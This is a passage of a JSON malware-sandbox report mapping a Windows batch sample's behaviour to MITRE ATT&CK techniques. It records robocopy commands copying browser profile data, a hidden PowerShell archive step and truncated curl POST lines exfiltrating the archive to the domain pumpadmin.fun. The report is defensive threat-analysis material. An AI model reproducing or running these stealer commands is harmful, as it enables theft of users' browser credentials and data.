00000000-00000860-00000C47-1328445904","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-432","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"cmd.exe\" queried token user identity (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$3e","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"vx28417.zip\" copied on \"%TEMP%\\vx28417.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1685","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$3f","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134388768550378573.7064.DefaultAppDomain.powershell\" - (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$41","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"pumpadmin.fun\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.21.14.43:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"file/memory contains long string with (Indicator: \"CreateFile\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"CryptEncrypt\"; Source: \"00000000-00007064.00000001.113650.222DE000.00000004.mdmp\")\n Found reference to API (Indicator: \"CryptExportKey\"; Source: \"00000000-00007064.00000001.113650.222DE000.00000004.mdmp\")\n Found reference to API (Indicator: \"CryptDecrypt\"; Source: \"00000000-00007064.00000001.113650.222DE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$42","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"__PSScriptPolicyTest_ocul3hwa.ftz.ps1\" as clean (type is \"ASCII text with no line terminators\")\n Antivirus vendors marked dropped file \"__PSScriptPolicyTest_0fqeueyb.2sc.ps1\" as clean (type is \"ASCII text with no line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commands \"powershell -nop -w h -c \"Compress-Archive -Path '%TEMP%\\\\vx28417\\\\*' -DestinationPath '%TEMP%\\\\vx28417.zip' -Force\"\" (UID: 00000000-00007064)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\cmd.bat\" \"\" (UID: 00000000-00000860)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$43","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134388768550378573.7064.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$44","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at DBD80000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$45","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\6078762b90671c2ff9ba39318e2176d8\\mscorlib.ni.dll\" at AA610000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at CC8E0000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DB7F0000\n \"whoami.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DB7F0000\n \"Robocopy.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DB7F0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DB7F0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at DB3B0000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DB7F0000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at DB3B0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at B18D0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DBF90000\n \"whoami.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DBF90000\n \"Robocopy.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DBF90000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DBF90000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DBF90000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000060a321dbfb7f0000@ntdll.dll\"\n \"220023000000000038a321dbfb7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"cmd\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\whoami.exe\" [Source: 00000000-00000860-00000BC0-638435288]\n Observed system executable string:\"%WINDIR%\\System32\\Robocopy.exe\" [Source: 00000000-00000860-00000BC0-640033084]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00000860-00000BC0-641325359]\n Observed system executable string:\"%WINDIR%\\System32\\curl.exe\" [Source: 00000000-00000860-00000BC0-662828827]\n Observed system executable string:\"%WINDIR%\\system32\\whoami.exe\" [Source: 00000000-00000860-00000C47-1328445904]\n Observed system executable string:\"%WINDIR%\\system32\\Robocopy.exe\" [Source: 00000000-00000860-00000C47-5161789020]\n Observed system executable string:\"%WINDIR%\\system32\\curl.exe\" [Source: 00000000-00000860-00000C47-59894642298]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"whoami.exe\" (UID: 00000000-00000188) was launched with new environment variables: \"O=\"%TEMP%\\vx28417\", USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"whoami.exe\" (UID: 00000000-00000188) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"pumpadmin.fun\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\WINDOWS\\System32\\WLDAP32.dll\" (Source: \"00000000-00007064.00000001.113650.20D2B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"whoami.exe\" with commandline \"whoami /all\" (UID: 00000000-00000188)\n Spawned process \"Robocopy.exe\" with commandline \"robocopy \"%TEMP%\\\\vx28417\\\\edge-Default\" *.log *.ldb /R:0 /W:0 ...\" (UID: 00000000-00008900)\n Spawned process \"Robocopy.exe\" with commandline \"robocopy \"%TEMP%\\\\vx28417\\\\edgeidb-Default\" /E /R:0 /W:0 /NJH / ...\" (UID: 00000000-00002156)\n Spawned process \"Robocopy.exe\" with commandline \"robocopy \"%TEMP%\\\\vx28417\\\\chrome-Default\" *.log *.ldb /R:0 /W: ...\" (UID: 00000000-00004336)\n Spawned process \"Robocopy.exe\" with commandline \"robocopy \"%APPDATA%\\\\Mozilla\\\\Firefox\\\\Profiles\" \"%TEMP%\\\\vx284 ...\" (UID: 00000000-00008476), Spawned process \"powershell.exe\" with commandline \"powershell -nop -w h -c \"Compress-Archive -Path '%TEMP%\\\\vx2841 ...\" (UID: 00000000-00007064)\n Spawned process \"curl.exe\" with commandline \"-s --max-time 600 -X POST -H \"x-tag:DESKTOP-FVVF82A\" --data-bina ...\" (UID: 00000000-00007628)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"whoami.exe\" with commandline \"whoami /all\" (UID: 00000000-00000188)\n Spawned process \"Robocopy.exe\" with commandline \"robocopy \"%TEMP%\\\\vx28417\\\\edge-Default\" *.log *.ldb /R:0 /W:0 ...\" (UID: 00000000-00008900)\n Spawned process \"Robocopy.exe\" with commandline \"robocopy \"%TEMP%\\\\vx28417\\\\edgeidb-Default\" /E /R:0 /W:0 /NJH / ...\" (UID: 00000000-00002156)\n Spawned process \"Robocopy.exe\" with commandline \"robocopy \"%TEMP%\\\\vx28417\\\\chrome-Default\" *.log *.ldb /R:0 /W: ...\" (UID: 00000000-00004336)\n Spawned process \"Robocopy.exe\" with commandline \"robocopy \"%APPDATA%\\\\Mozilla\\\\Firefox\\\\Profiles\" \"%TEMP%\\\\vx284 ...\" (UID: 00000000-00008476), Spawned process \"powershell.exe\" with commandline \"powershell -nop -w h -c \"Compress-Archive -Path '%TEMP%\\\\vx2841 ...\" (UID: 00000000-00007064)\n Spawned process \"curl.exe\" with commandline \"-s --max-time 600 -X POST -H \"x-tag:DESKTOP-FVVF82A\" --data-bina ...\" (UID: 00000000-00007628)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: 03:8C:36:27:E5:45:09:A7:73:CE:E1:D2:4E:E7:18:C4:33:03:36:CA; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0fqeueyb.2sc.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_mrmibead.gfx.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ocul3hwa.ftz.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_wgew1v2q.zof.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\vx28417.zip\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"Found string \"CommandLine= Add-Type -AssemblyName System.IO.Compression.FileSystem\" (Indicator: \"Add-Type\"; Source: \"00000000-00007064.00000001.113650.20A35000.00000004.mdmp, 00000000-00007064.00000001.113650.20C64000.00000004.mdmp\")\n Found string \"Add-Type -AssemblyName System.IO.Compression.FileSystem\" (Indicator: \"Add-Type\"; Source: \"00000000-00007064.00000001.113650.20C64000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"curl.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$47","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$48","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$49","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\cmd.bat\"\n \"powershell.exe\" reads file \"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config\"\n \"powershell.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\6078762b90671c2ff9ba39318e2176d8\\mscorlib.ni.dll.aux\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\Server\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Reference\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Connect\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Input\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Output\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\FLTLIB.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\msvcp140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\MSVCP140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140_1.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140_1.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_0fqeueyb.2sc.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_mrmibead.gfx.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_ocul3hwa.ftz.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_wgew1v2q.zof.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\vx28417.zip\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /c\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"2.5.29.15\"\n \"2.5.29.14\"\n \"2.5.29.19\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.31\"\n Potential IP \"4.0.0.0\" found in string \"ystem.DirectoryServices,4.0.0.0,,b03f5f7f11d50a3a\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.32\"\n \"1.10.3.6\"\n \"2.5.29.10\"\n \"2.5.29.16\"\n \"2.5.4.10\"\n \"2.5.4.5\"\n \"2.5.4.8\"\n \"2.5.4.11\"\n \"2.5.4.6\"\n \"2.5.4.7\"\n Potential IP \"3.0.0.0\" found in string 